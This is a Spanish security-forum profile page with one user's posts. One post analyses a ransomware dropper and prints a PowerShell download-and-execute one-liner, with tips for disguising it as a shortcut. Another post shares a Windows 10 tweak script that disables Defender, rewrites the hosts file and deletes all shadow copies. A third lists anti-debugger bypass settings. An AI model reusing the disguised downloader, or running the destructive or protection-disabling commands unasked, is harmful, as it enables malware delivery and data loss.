Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Mad Antrax

#1
Hola

Hace tiempo que no me paso por mi sección del foro favorita para compartir nuevas ideas... Recientemente ha llegado a mis manos un virus de tipo ramsonware oculto en un fichero zip (por e-mail), curiosamente mi antivirus no detectó la amenaza, así que me puse a destriparlo en mi VM.

El funcionamiento es muy básico, tras ejecutar el fichero que hay en el ZIP, se ejecuta un ejecutable EXE y se inicia la infección de los ficheros. Hasta aquí todo normal, excepto que el fichero ZIP ocupaba 1,26Kb (descomprimido eran 2Kb...) ¿Cómo podía un fichero de 2Kb cifrar de forma eficiente todos los fichero del disco? La respuesta era fácil, ese fichero de 2Kb no era el ramsonware, sino un pequeño fichero (downloader) que se descargaba una copia del EXE (ramsonware) desde internet y luego lo ejecutaba. Todo ello en un ficherito de 2Kb.

Tras mi análisis pude ver el truco, un simple acceso directo al proceso powershell.exe de Windows y una pequeña línea de código añadida como parámetro del propio acceso directo. Sublime!

El código para descargar y ejecutar un fichero desde internet en PowerShell sería el siguiente:

Código (vb) [Seleccionar]
$c=$env:userprofile+'\tmp.exe';
(New-Object System.Net.WebClient).Downloadfile('https://live.sysinternals.com/procexp.exe',$c);
Start-Process $c


La primera línea define una variable $c con el valor de "C:\Users\usuario_actual\tmp.exe"
La segunda línea crea un nuevo objeto del tipo WebClient y llama a su función DownloadFile, indicando la ruta y el destino ($c)
La tercera línea ejecuta el fichero descargado $c usando Start-Process.

Todo ese código se puede escribir en una sola línea y enviarlo como argumento directamente al proceso powershell.exe usando un acceso directo:





Editando el icono y el nombre podremos disimular el downloader todavía más. Quedando un único fichero de apenas 2Kb completamente funcional.

Os dejo un ejemplo para que entendáis el proceso, es completamente inofensivo. Este acceso directo os descargará y ejecutará el programa ProcessExplorer.exe desde internet

http://www.mediafire.com/download/kj3mtepo8h6zypu/musica.zip

Saludos!!
#2
Desafíos - Wargames / Segundo reto: Nivel medio
5 Octubre 2015, 01:36 AM
http://aikoncwd.tumblr.com/

A ver que tal os parece éste nuevo reto :)
#3
Bueno, he diseñado un pequeño juego/reto para vosotros. Solo los usuarios más curiosos lograrán descifrarlo:



Una pequeña pista: 41 6c 69 65 6e 73
#4
Bugs y Exploits / Kali 2.0 released
11 Agosto 2015, 23:18 PM
No me voy a expandir demasiado. La distro #1 sobre pen-testing se ha actualizado a la 2.0 hoy mismo:

https://www.kali.org/releases/kali-linux-20-released/

A probar!! :)
#5
Hola

He creado un pequeño script que permite habilitar o deshabilitar funciones ocultas de Windows 10. Permite deshabilitar esos sirvicios que recopilan información y datos de nuestro equipo, aquí os dejo el link:


http://foro.elhacker.net/scripting/vbs_script_para_personalizar_windows_10-t439704.0.html

Para descargarlo:

Os dejo link de descarga: http://www.mediafire.com/download/tagxum11kudg7b3/Windows+10+by+AikonCWD.rar
Password = aikoncwd
#6
Bueno, he decidido ampliar el script para Windows 10, mejorando alguna de las funciones que ya habían y añadiendo nuevas. No creo que saque otra versión, así que la dejamos en v2 final



A continuación explicaré cada una de las funciones del script:

1) Genera un icono llamado God Mode en tu escritorio, desde ese icono podrás acceder a un panel de control "extendido" con muchas opciones para configurar y personalizar tu sistema.

2) Muestra una ventana en la que podrás habilitar o deshabilitar el control de cuentas de usuario (UAC), permitiendo quitar la molesta ventana de confirmación cuando instalamos o ejecutamos algún programa que requiera permisos de Administrador.

3) Ejecuta el limpiador de Windows, permitiendo limpiar y liberar espacio, eliminando ficheros temporales y Windows.old

4) Abre una ventana en la que podrás indicar si deseas utilizar password de acceso al arrancar tu equipo.

5) Permite personalizar las caracteristicas adicionales de Windows, puedes deshabilitar el visor XPS, Internet Explorer o Windows Media Player. Yo lo he configurado así:



6) Muestra un apagina web externa con una recopilación de las combinaciones de teclas de Windows 10

7) Ejecuta una batería de funciones para deshabilitar todos los servicios y tareas programadas encargados de espiar y enviar información a los servidores de Microsoft (Telemtry, DiagTrackLog, servicios, fichero hosts, etc...)

8) Desinstala todos los programas de Microsoft que vienen pre-instalados en Windows 10, os dejo el listado de Apps que se eliminan:



9) Deshabilita OneDrive y su integración con Windows 10

10) Deshabilita Windows Defender y su integración con Windows 10

11) Ejecuta una batería de programas y configuraciones para optimizar y alargar la vida de tu disco duro SSD. Recomendado ejecutar para todos los usuarios que dispongan de un disco duro SSD!



He utilizado las siguientes guías:

https://www.maketecheasier.com/12-things-you-must-do-when-running-a-solid-state-drive-in-windows-7/
http://www.pcworld.com/article/2110095/the-ultimate-guide-to-proper-ssd-management.html
http://www.disk-partition.com/kb/tips-ssd-optimization-windows7-1.html (parte 1, 2 y 3)

12) Muestra el estado de la activación de Windows 10

13) Solo para usuarios con problemas de activación: Ejecuta la activación 30 veces seguidas.

==========================================

Link de descarga: http://www.mediafire.com/download/mddxmqmc7e2emew/Windows_10_by_AikonCWD_v2.rar
Password: aikoncwd

El código fuente, como siempre, disponible para quien quiera revisarlo: http://pastebin.com/3h1ZGViq

Todas las funciones de "spyware" se han agrupado en la opcion (7). Mención especial a las 2 nuevas opciones para mejorar el rendimiento y vida de tu SSD y la posibilidad de desinstalar todas las Apps de Microsoft que vienen pre-instaladas. La opción (7) se ha mejorado añadiendo nuevas entradas de spyware descubiertas ésta semana.

Saludos, espero comentarios y feedback! :)

Código (vb) [Seleccionar]


    Set oWSH = CreateObject("WScript.Shell")
    Set oNET = CreateObject("WScript.Network")
    Set oAPP = CreateObject("Shell.Application")
    Set oFSO = CreateObject("Scripting.FileSystemObject")
    Set oWMI = GetObject("winmgmts:\\.\root\CIMV2")
    Set oARG = WScript.Arguments
     
    Call ForceConsole()
    Call showBanner()
    Call checkW10()
    Call runElevated()
    Call printf(" Requisitos OK...")
    Call showMenu()
     
    Function printf(txt)
            WScript.StdOut.WriteLine txt
    End Function
     
    Function printl(txt)
            WScript.StdOut.Write txt
    End Function
     
    Function scanf()
            scanf = LCase(WScript.StdIn.ReadLine)
    End Function
     
    Function Wait(n)
            WScript.Sleep Int(n * 1000)
    End Function
     
    Function ForceConsole()
            If InStr(LCase(WScript.FullName), "cscript.exe") = 0 Then
                    oWSH.Run "cscript //NoLogo " & Chr(34) & WScript.ScriptFullName & Chr(34)
                    WScript.Quit
            End If
    End Function
     
    Function showBanner()
            printf ""
            printf " #############################"
            printf " #                           #"
            printf " # WINDOWS 10 SCRIPT TWEAKER #"
            printf " # by AikonCWD               #"
            printf " #                      v2.0 #"
            printf " #############################"
            printf ""
            printf " Comprobando requisitos del sistema..."
    End Function
     
    Function checkW10()
            If getNTversion < 10 Then
                    printf " ERROR: Necesitas ejecutar este script bajo Windows 10"
                    printf ""
                    printf " Press <enter> to quit"
                    scanf
                    WScript.Quit
            End IF
    End Function
     
    Function runElevated()
            If isUACRequired Then
                    If Not isElevated Then RunAsUAC
            Else
                    If Not isAdmin Then
                            printf " ERROR: Necesitas ejecutar este script como Administrador!"
                            printf ""
                            printf " Press <enter> to quit"
                            scanf
                            WScript.Quit
                    End If
            End If
    End Function
     
    Function isUACRequired()
            r = isUAC()
            If r Then
                    intUAC = oWSH.RegRead("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA")
                    r = 1 = intUAC
            End If
            isUACRequired = r
    End Function
     
    Function isElevated()
            isElevated = CheckCredential("S-1-16-12288")
    End Function
     
    Function isAdmin()
            isAdmin = CheckCredential("S-1-5-32-544")
    End Function
     
    Function CheckCredential(p)
            Set oWhoAmI = oWSH.Exec("whoami /groups")
            Set WhoAmIO = oWhoAmI.StdOut
            WhoAmIO = WhoAmIO.ReadAll
            CheckCredential = InStr(WhoAmIO, p) > 0
    End Function
     
    Function RunAsUAC()
            If isUAC Then
                    printf ""
                    printf " El script necesita ejecutarse con permisos elevados..."
                    printf " acepta el siguiente mensaje:"
                    Wait(2)
                    oAPP.ShellExecute "cscript", "//NoLogo " & Chr(34) & WScript.ScriptFullName & Chr(34), "", "runas", 1
                    WScript.Quit
            End If
    End Function
     
    Function isUAC()
            Set cWin = oWMI.ExecQuery("SELECT * FROM Win32_OperatingSystem")
            r = False
            For Each OS In cWin
                    If Split(OS.Version,".")(0) > 5 Then
                            r = True
                    Else
                            r = False
                    End If
            Next
            isUAC = r
    End Function
     
    Function getNTversion()
            Set cWin = oWMI.ExecQuery("SELECT * FROM Win32_OperatingSystem")
            For Each OS In cWin
                    getNTversion = Split(OS.Version,".")(0)
            Next
    End Function
     
    Function cls()
            For i = 1 To 100
                    printf ""
            Next
    End Function
     
    Function showMenu()
            Wait(2)
            cls
            printf " #############################"
            printf " #                           #"
            printf " # WINDOWS 10 SCRIPT TWEAKER #"
            printf " # by AikonCWD               #"
            printf " #                      v2.0 #"
            printf " #############################"
            printf ""
            printf ""
            printf " Selecciona una opcion:"
            printf ""
            printf "   1 = Habilitar icono en escritorio: Modo Dios"
            printf "   2 = Deshabilitar Control de Cuentas de Usuario (UAC)"
            printf "   3 = Ejecutar limpiador de Windows. Libera espacio y borrar Windows.old"
            printf "   4 = Habilitar/Deshabilitar inicio de sesion sin password"
            printf "   5 = Mostrar web con combinacion de teclas utiles en Win10"
            printf "   6 = Instalar/Desinstalar caracteristicas de Windows"
            printf ""
            printf "   7 = Impedir que Microsoft recopile informacion de este equipo"
            printf "   8 = Desinstalar Metro Apps pre-instaladas en Windows 10"
            printf "   9 = Deshabilitar OneDrive"
            printf "  10 = Deshabilitar Windows Defender"
            printf ""
            printf "  11 = Optimizar y prolongar la vida de tu disco duro SSD"
            printf ""
            printf "  12 = Mostrar estado de la activacion de Windows 10"
            printf "  13 = Activar Windows 10: Ejecutar slmgr /ato 30 veces seguidas"
            printf ""
            printf "   0 = Salir"
            printf ""
            printl " > "
            RP = scanf
            If Not isNumeric(RP) = True Then
                    printf ""
                    printf " ERROR: Opcion invalida, solo se permiten numero..."
                    Call showMenu()
                    Exit Function
            End If
            Select Case RP
                    Case 1
                            Call createGodMode()
                    Case 2
                            Call disableUAC()
                    Case 3
                            Call cleanSO()
                    Case 4
                            Call noPWD()
                    Case 5
                            Call showKeyboardTips()
                    Case 6
                            Call optionalFeatures()
                    Case 7
                            Call disableSpyware()
                    Case 8
                            Call cleanApps()
                    Case 9
                            Call disableOneDrive()
                    Case 10
                            Call disableDefender()
                    Case 11
                            Call powerSSD()
                    Case 12
                            Call showActivation()
                    Case 13
                            Call activate30()
                    Case 0
                            printf ""
                            printf " Gracias por utilizar mi script"
                            printf " AikonCWD dice adios!! ;D"
                            wait(2)
                            WScript.Quit
                    Case Else
                    printf ""
                    printf " INFO: Opcion invalida, ese numero no esta disponible"
                    Call showMenu()
                    Exit Function
            End Select
    End Function
     
    Function createGodMode()
            godFolder = oWSH.SpecialFolders("Desktop") & "\GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}"
            If oFSO.FolderExists(godFolder) = False Then
                    oFSO.CreateFolder(godFolder)
                    printf ""
                    printf " INFO: Se ha creado un acceso directo en tu escritorio"
                    Call showMenu
            Else
                    printf ""
                    printf " INFO: Ya existe el modo dios, ejecutalo desde tu Escritorio"
                    call showMenu
            End If
    End Function
     
    Function disableUAC()
            printf ""
            printf " Ahora se ejecutara una ventana..."
            printf " Mueve la barra vertical hasta el nivel mas bajo"
            printf " Acepta los cambios y reinicia el ordenador"
            wait(2)
            printf ""
            printf " INFO: Executing UserAccountControlSettings.exe"
            oWSH.Run "UserAccountControlSettings.exe"
            Call showMenu
    End Function
     
    Function cleanSO()
            printf ""
            printf " Ahora se ejecutara una ventana..."
            printf " Marca las opciones deseadas de limpieza"
            printf " Acepta los cambios y reinicia el ordenador"
            wait(2)
            printf ""
            printf " INFO: Executing cleanmgr.exe"
            oWSH.Run "cleanmgr.exe"
            Call showMenu
    End Function
     
    Function noPWD()
            printf ""
            printf " Ahora se ejecutara una ventana..."
            printf " Desmarca la opcion: Los usuarios deben escribir su nombre y password para usar el equipo"
            printf " Acepta los cambios y reinicia el ordenador"
            wait(2)
            printf ""
            printf " INFO: Executing control userpasswords2"
            oWSH.Run "control userpasswords2"
            Call showMenu
    End Function
     
    Function optionalFeatures()
            printf ""
            printf " Ahora se ejecutara una ventana..."
            printf " Marca/Desmarca las opciones deseadas"
            printf " Acepta los cambios y reinicia el ordenador"
            wait(2)
            printf ""
            printf " INFO: Executing optionalfeatures.exe"
            oWSH.Run "optionalfeatures.exe"
            Call showMenu
    End Function
     
    Function showKeyboardTips()
            printf ""
            printf " Ahora se ejecutara una pagina web..."
            printf " En ella encontraras todas las combinaciones de teclas utiles en Win10"
            wait(2)
            printf ""
            printf " INFO: Executing web-browser"
            oWSH.Run "http://reviews.gizmodo.com/the-ultimate-guide-to-windows-10-keyboard-shortcuts-1720656591"
            Call showMenu
    End Function
     
    Function disableSpyware()
            printf ""
            printf " Deshabilitando Telemetry usando el registro..."
            wait(1)
                    oWSH.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\DataCollection\AllowTelemetry", 0, "REG_DWORD"
                    oWSH.RegWrite "HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\DataCollection\AllowTelemetry", 0, "REG_DWORD"
            printf ""
            printf " INFO: Telemetry deshabilitado correctamente"
     
            pathLOG = oWSH.ExpandEnvironmentStrings("ProgramData") & "\Microsoft\Diagnosis\ETLLogs\AutoLogger\AutoLogger-Diagtrack-Listener.etl"
            printf ""
            printf " Borrando DiagTrack Log..."
            wait(1)
                    If oFSO.FileExists(pathLOG) Then oFSO.DeleteFile(pathLOG)
            printf ""
            printf " INFO: DiagTrack Log borrado correctamente"
     
            printf ""
            printf " Deshabilitando servicios de seguimiento..."
            wait(1)
                    oWSH.Run "sc stop DiagTrack"
                    oWSH.Run "sc stop RetailDemo"
                    oWSH.Run "sc stop dmwappushservice"
                    oWSH.Run "sc config DiagTrack start=disabled"
                    oWSH.Run "sc config RetailDemo start=disabled"
                    oWSH.Run "sc config dmwappushservice start=disabled"
            printf ""
            printf " INFO: Servicios de seguimiento deshabilitados"
     
            printf ""
            printf " Deshabilitando tareas programadas que envian datos a Microsoft..."   
            oWSH.Run "schtasks /change /TN " & chr(34) & "\Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser" & chr(34) & " /DISABLE"
            oWSH.Run "schtasks /change /TN " & chr(34) & "\Microsoft\Windows\Application Experience\ProgramDataUpdater" & chr(34) & " /DISABLE"
            oWSH.Run "schtasks /change /TN " & chr(34) & "\Microsoft\Windows\Customer Experience Improvement Program\Consolidator" & chr(34) & " /DISABLE"
            oWSH.Run "schtasks /change /TN " & chr(34) & "\Microsoft\Windows\Customer Experience Improvement Program\KernelCeipTask" & chr(34) & " /DISABLE"
            oWSH.Run "schtasks /change /TN " & chr(34) & "\Microsoft\Windows\Customer Experience Improvement Program\Uploader" & chr(34) & " /DISABLE"
            oWSH.Run "schtasks /change /TN " & chr(34) & "\Microsoft\Windows\Customer Experience Improvement Program\UsbCeip" & chr(34) & " /DISABLE"
            printf ""
            printf " INFO: Tareas programadas de seguimiento deshabilitadas"
     
            printf ""
            printf " Deshabilitando acceso a los servidores de publicidad de Microsoft..."
            wait(1)
            Set F = oFSO.CreateTextFIle("C:\Windows\System32\drivers\etc\hosts", True)
                    F.WriteLine "127.0.0.1  localhost"
                    F.WriteLine "127.0.0.1  localhost.localdomain"
                    F.WriteLine "255.255.255.255    broadcasthost"
                    F.WriteLine "::1                localhost"
                    F.WriteLine "127.0.0.1  local"
                    F.WriteLine "0.0.0.0 vortex.data.microsoft.com"
                    F.WriteLine "0.0.0.0 vortex-win.data.microsoft.com"
                    F.WriteLine "0.0.0.0 telecommand.telemetry.microsoft.com"
                    F.WriteLine "0.0.0.0 telecommand.telemetry.microsoft.com.nsatc.net"
                    F.WriteLine "0.0.0.0 oca.telemetry.microsoft.com"
                    F.WriteLine "0.0.0.0 oca.telemetry.microsoft.com.nsatc.net"
                    F.WriteLine "0.0.0.0 sqm.telemetry.microsoft.com"
                    F.WriteLine "0.0.0.0 sqm.telemetry.microsoft.com.nsatc.net"
                    F.WriteLine "0.0.0.0 watson.telemetry.microsoft.com"
                    F.WriteLine "0.0.0.0 watson.telemetry.microsoft.com.nsatc.net"
                    F.WriteLine "0.0.0.0 redir.metaservices.microsoft.com"
                    F.WriteLine "0.0.0.0 choice.microsoft.com"
                    F.WriteLine "0.0.0.0 choice.microsoft.com.nsatc.net"
                    F.WriteLine "0.0.0.0 df.telemetry.microsoft.com"
                    F.WriteLine "0.0.0.0 reports.wes.df.telemetry.microsoft.com"
                    F.WriteLine "0.0.0.0 wes.df.telemetry.microsoft.com"
                    F.WriteLine "0.0.0.0 services.wes.df.telemetry.microsoft.com"
                    F.WriteLine "0.0.0.0 sqm.df.telemetry.microsoft.com"
                    F.WriteLine "0.0.0.0 telemetry.microsoft.com"
                    F.WriteLine "0.0.0.0 watson.ppe.telemetry.microsoft.com"
                    F.WriteLine "0.0.0.0 telemetry.appex.bing.net"
                    F.WriteLine "0.0.0.0 telemetry.urs.microsoft.com"
                    F.WriteLine "0.0.0.0 telemetry.appex.bing.net:443"
                    F.WriteLine "0.0.0.0 settings-sandbox.data.microsoft.com"
                    F.WriteLine "0.0.0.0 vortex-sandbox.data.microsoft.com"
                    F.WriteLine "0.0.0.0 survey.watson.microsoft.com"
                    F.WriteLine "0.0.0.0 watson.live.com"
                    F.WriteLine "0.0.0.0 watson.microsoft.com"
                    F.WriteLine "0.0.0.0 statsfe2.ws.microsoft.com"
                    F.WriteLine "0.0.0.0 corpext.msitadfs.glbdns2.microsoft.com"
                    F.WriteLine "0.0.0.0 compatexchange.cloudapp.net"
                    F.WriteLine "0.0.0.0 cs1.wpc.v0cdn.net"
                    F.WriteLine "0.0.0.0 a-0001.a-msedge.net"
                    F.WriteLine "0.0.0.0 statsfe2.update.microsoft.com.akadns.net"
                    F.WriteLine "0.0.0.0 sls.update.microsoft.com.akadns.net"
                    F.WriteLine "0.0.0.0 fe2.update.microsoft.com.akadns.net"
                    F.WriteLine "0.0.0.0 65.55.108.23 "
                    F.WriteLine "0.0.0.0 65.39.117.230"
                    F.WriteLine "0.0.0.0 23.218.212.69 "
                    F.WriteLine "0.0.0.0 134.170.30.202"
                    F.WriteLine "0.0.0.0 137.116.81.24"
                    F.WriteLine "0.0.0.0 diagnostics.support.microsoft.com"
                    F.WriteLine "0.0.0.0 corp.sts.microsoft.com"
                    F.WriteLine "0.0.0.0 statsfe1.ws.microsoft.com"
                    F.WriteLine "0.0.0.0 pre.footprintpredict.com"
                    F.WriteLine "0.0.0.0 204.79.197.200"
                    F.WriteLine "0.0.0.0 23.218.212.69"
                    F.WriteLine "0.0.0.0 i1.services.social.microsoft.com"
                    F.WriteLine "0.0.0.0 i1.services.social.microsoft.com.nsatc.net"
                    F.WriteLine "0.0.0.0 feedback.windows.com"
                    F.WriteLine "0.0.0.0 feedback.microsoft-hohm.com"
                    F.WriteLine "0.0.0.0 feedback.search.microsoft.com"
            F.Close
            printf ""
            printf " INFO: Fichero HOSTS escrito correctamente"
           
            Call showMenu
    End Function
     
    Function disableOneDrive()
            printf ""
            printf " Deshabilitando OneDrive usando el registro..."
            wait(1)
                    oWSH.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\OneDrive\DisableFileSyncNGSC", 1, "REG_DWORD"
                    oWSH.RegWrite "HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\OneDrive\DisableFileSyncNGSC", 1, "REG_DWORD"
            printf ""
            printf " INFO: OneDrive deshabilitado correctamente"
            Call showMenu
    End Function
     
    Function disableDefender()
            printf ""
            printf " Deshabilitando Windows Defender usando el registro..."
            wait(1)
                    oWSH.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware", 1, "REG_DWORD"
                    oWSH.RegWrite "HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\DisableAntiSpyware", 1, "REG_DWORD"
            printf ""
            printf " INFO: Windows Defender deshabilitado correctamente"
            printf " WARNING: Si no tienes antivirus, te recomiendo 360 Total Security: www.360totalsecurity.com"
            wait(1)
            Call showMenu
    End Function
     
    Function showActivation()
            printf ""
            printf " En unos segundos aparecera el estado de tu activacion..."
            wait(1)
                    oWSH.Run "slmgr.vbs /dlv"
                    oWSH.Run "slmgr.vbs /xpr"
            printf ""
            printf " INFO: Script slmgr ejecutado correctamente"
            Call showMenu
    End Function
     
    Function activate30()
            printf ""
            printf " Esta funcion sirve para forzar la activacion de Windows 10"
            printf " solo se debe utilizar si tienes problemas para validar la licencia"
            printf ""
            printl " El proceso demora varios minutos. Deseas continuar? (s/n) "
           
            If scanf <> "s" Then
                    printf ""
                    printf " INFO: Proceso cancelado por el usuario"
                    wait(1)
                    Call showMenu
                    Exit Function
            End If
           
            printf " Se va a ejecutar slmgr /ato 30 veces, sea paciente..."
            wait(1)
                    For i = 1 To 30
                            printf "  > (" & i & ") Ejecutando slmgr.vbs /ato"
                            oWSH.Run "slmgr.vbs /ato"
                    Next
            printf ""
            printf " INFO: Script slmgr ejecutado correctamente"
            printf " INFO: El resultado tarda unos segundos en aparecer, espere..."
            wait(1)
            Call showMenu
    End Function
     
    Function cleanApps()
            printf ""
            printf " Este script va a desinstalar el siguiente listado de Apps:"
            printf ""
            printf "  > Bing"
            printf "  > Zune"
            printf "  > Skype"
            printf "  > XboxApp"
            printf "  > OneNote"
            printf "  > 3DBuilder"
            printf "  > Getstarted"
            printf "  > Windows Maps"
            printf "  > Windows Phone"
            printf "  > Windows Camera"
            printf "  > Windows Alarms"
            printf "  > Windows Sound Recorder"
            printf "  > Windows Communications Apps"
            printf "  > Microsoft People"
            printf "  > Microsoft Office Hub"
            printf "  > Microsoft Solitaire Collection"
            printf ""
            printl " La opcion no es reversible. Deseas continuar? (s/n) "
           
            If scanf = "s" Then
                    oWSH.Run "powershell get-appxpackage -Name *Bing* | Remove-AppxPackage", 1, True
                    oWSH.Run "powershell get-appxpackage -Name *Zune* | Remove-AppxPackage", 1, True
                    oWSH.Run "powershell get-appxpackage -Name *XboxApp* | Remove-AppxPackage", 1, True
                    oWSH.Run "powershell get-appxpackage -Name *OneNote* | Remove-AppxPackage", 1, True
                    oWSH.Run "powershell get-appxpackage -Name *SkypeApp* | Remove-AppxPackage", 1, True
                    oWSH.Run "powershell get-appxpackage -Name *3DBuilder* | Remove-AppxPackage", 1, True
                    oWSH.Run "powershell get-appxpackage -Name *Getstarted* | Remove-AppxPackage", 1, True
                    oWSH.Run "powershell get-appxpackage -Name *Microsoft.People* | Remove-AppxPackage", 1, True
                    oWSH.Run "powershell get-appxpackage -Name *MicrosoftOfficeHub* | Remove-AppxPackage", 1, True
                    oWSH.Run "powershell get-appxpackage -Name *MicrosoftSolitaireCollection* | Remove-AppxPackage", 1, True
                    oWSH.Run "powershell get-appxpackage -Name *WindowsCamera* | Remove-AppxPackage", 1, True
                    oWSH.Run "powershell get-appxpackage -Name *WindowsAlarms* | Remove-AppxPackage", 1, True
                    oWSH.Run "powershell get-appxpackage -Name *WindowsMaps* | Remove-AppxPackage", 1, True
                    oWSH.Run "powershell get-appxpackage -Name *WindowsPhone* | Remove-AppxPackage", 1, True
                    oWSH.Run "powershell get-appxpackage -Name *WindowsSoundRecorder* | Remove-AppxPackage", 1, True
                    oWSH.Run "powershell get-appxpackage -Name *windowscommunicationsapps* | Remove-AppxPackage", 1, True
                    printf ""
                    printf " INFO: Las Apps se han desinstalado correctamente..."
            Else
                    printf ""
                    printf " INFO: Operacion cancelada por el usuario"
            End If
            wait(1)
            Call showMenu
    End Function
     
    Function powerSSD()
            printf ""
            printf " Este script va a modificar las siguientes configuraciones:"
            printf ""
            printf "  > Habilitar TRIM"
            printf "  > Deshabilitar VSS (Shadow Copy)"
            printf "  > Deshabilitar Windows Search + Indexing Service"
            printf "  > Deshabilitar defragmentador de discos"
            printf "  > Deshabilitar hibernacion del sistema"
            printf "  > Deshabilitar Prefetcher + Superfetch"
            printf "  > Deshabilitar ClearPageFileAtShutdown + LargeSystemCache"
            printf ""
            printl " Deseas continuar? (s/n) "
           
            If scanf = "s" Then
                    printf ""
                    oWSH.Run "fsutil behavior set disabledeletenotify 0"
                    printf " # TRIM habilitado"
                    wait(1)
                    oWSH.Run "vssadmin Delete Shadows /All /Quiet"
                    oWSH.Run "sc stop VSS"
                    oWSH.Run "sc config VSS start=disabled"
                    printf " # Shadow Copy eliminada y deshabilitada"
                    wait(1)
                    oWSH.Run "sc stop WSearch"
                    oWSH.Run "sc config WSearch start=disabled"
                    printf " # Windows Search + Indexing Service deshabilitados"
                    wait(1)
                    oWSH.Run "schtasks /change /TN " & chr(34) & "\Microsoft\Windows\Defrag\ScheduledDefrag" & chr(34) & " /DISABLE"
                    printf " # Defragmentador de disco deshabilitado"
                    wait(1)
                    oWSH.Run "powercfg -h off"
                    printf " # Hibernacion deshabilitada"
                    wait(1)
                    oWSH.RegWrite "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters\EnablePrefetcher", 0, "REG_DWORD"
                    oWSH.RegWrite "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters\EnableSuperfetch", 0, "REG_DWORD"
                    oWSH.Run "sc stop SysMain"
                    oWSH.Run "sc config SysMain start=disabled"
                    printf " # Prefetcher + Superfetch deshabilitados"
                    wait(1)
                    oWSH.RegWrite "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\ClearPageFileAtShutdown", 0, "REG_DWORD"
                    oWSH.RegWrite "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\LargeSystemCache", 0, "REG_DWORD"
                    printf " # ClearPageFileAtShutdown + LargeSystemCache deshabilitados"
                    wait(1)
                    printf ""
                    printf " INFO: Felicidades, acabas de prolongar la vida y el rendimiento de tu SSD"   
            Else
                    printf ""
                    printf " INFO: Operacion cancelada por el usuario"
            End If
            wait(1)
            Call showMenu 
    End Function



Tiene funciones muy interesantes, de las que destaco AUC bypass, detección de la version de NT (Windows 10 check), comprobar permisos y admin, forzar script en modo consola, y he creado unos lias tipo printf y scanf que me facilitan la tarea de escribir código. Todas las funciones son operativas al 100%, a ver que os parece :)
#7
Pues eso, estoy programando un crackme (cuando lo tenga terminado lo postearé aquí), antes de publicarlo quiero testear su dureza... y bueno, yo mismo soy incapaz de cargar el crackme en mi OllyDbg, siempre termina detectado xD



He buscado un poco en google, y según leo en tuts4you hay que usar StrongOD + Phantom con las siguientes configuraciones:

-StrongOD
---------------------------------
- HidePEB         Enable
- *KernelMode     Enable
- Break on TLS    Enable = Always for VMP
- !*Kill Bad PE   Enable
- Skip some EC's  Enable
- AdvEnumModule   Enable = If target not stop at TLS or EP
- Remove EP OS    Enable = Delete one shot EP BP at TLS stop
---------------------------------
- Change Original Drivername into OllyDBG.ini file!
  DriverName=newcustom
---------------------------------
---------------------------------
-Phant0m | For XP & Win7 32 Bit
---------------------------------
- Protect DRx     Enable


Y otra nota más:

CitarThe only thing you need is the right settings of Olly & StrongOD & PhantOm to get no more detected by almost any protections.The important step is that your strongOD driver will also loaded on your system and if not = see your postet picture.So I had made already video about this how to setup the stuff and how to test.Just check again any first videos of my tutorials / script tutorials there you can see it again.

Also be sure that you changed the drivername in Ollydbg.ini file in the StrongOD lines [fengyue to something else].VMP files using almost always TLS callback entrys so its then important that you also have enabled break on TLS + remove one shot BP in StrongOD.If you load any file then you should stop at TLSC address if used.Now open BP map and see whether also no soft BPs / one-shot are to see anymore.

Only use a Olly + StrongOD + PhantOm.Optional you can also use POISON plugin if you need to patch any other functions in special cases like Enigma + GetStartUp info patches.Do not use any other hide plugins or enable the same patch stuff in other hide plugins too if you have they already enabled in StrongOD etc so it makes no sense if you enable the same stuff in different plugins so there you will get just problems.

Just check my videos again so you can't do something if you follow them with a little attention.So you can also use the latest StrongOD & PhantOm plugin versions so they will also work on Win7 32 Bit correctly.

If you have setup all right then you see this in Olly LOG...

KernelMode Enable!
HookSSDT Successful!

OllyDBG.ini file open and change...
[Plugin StrongOD]
.....
DriverName=Nael   <---- enter any name you want before you start Olly

If you now start Olly then you can see the 2 infos in Olly log without to load any file.If you also have any tool which can show you the SSDTable list then you will also see the Nael.sys driver listet.

Bien, pues hago todo lo que pone ahí pero no consigo hacer bypass al debugger-detection de vmprotect hahahaha, que estoy haciendo mal?

Saludos
#8
Hola

Recientemente he adquirido un PC potente (i7 4790k + 16GB ram @ 2400) y puedo levantar unas cuantas VM simultáneamente.

La idea es levantar un Kali Linux con el Metasploit Framework actualizado y luego 2 máquinas adicionales:

- Linux Vulnerable
- Windows XP/7/2k3/2k8 sin actualizar

Mi objetivo es ir probando exploits sobre esos sistemas, conseguir shell remotas etc... en definitiva, practicar un poquito. El tema del Windows vulnerablo lo tengo controlado, una ISO vieja sin ServicePack y sin updates, meterle internet explorer 5.0, PDF, Flash y Java 1.0 y a correr, jajajaja. La duda la tengo con el Linux:

He oido hablar de DVL - Damn Vulnerable Linux, una distro creada bajo un kernel viejo, sin parchear y vulnerable y con un montón de apps y servicios desactualizados y peligrosos. El problema es que dicha distro está descontinuada... conocéis vosotros alguna distro similar que me pueda servir para el experimento?

Saludos y gracias!!
#9
Hola

Tengo una pregunta que creo será fácil de responder;

Necesito que me indiquéis un software para grabar lo que sucede en mi pantalla y exportarlo a GIF (animado) y/o video (para subir luego a youtube). Quiero redactar algunos tutoriales enseñando algunos pasos y me vendría genial. No necesito incluir audio ni voz. Solo grabar algunos eventos de la pantalla y quizás añadir algún texto (lo del texto tampoco me preocupa... puedo usar el notepad como hacen en muchos tutoriales).

Conozco software "grande" como camtasia que lo permite, pero estoy seguro que alguno conocerá algún software "menos pesado" que camtasia.

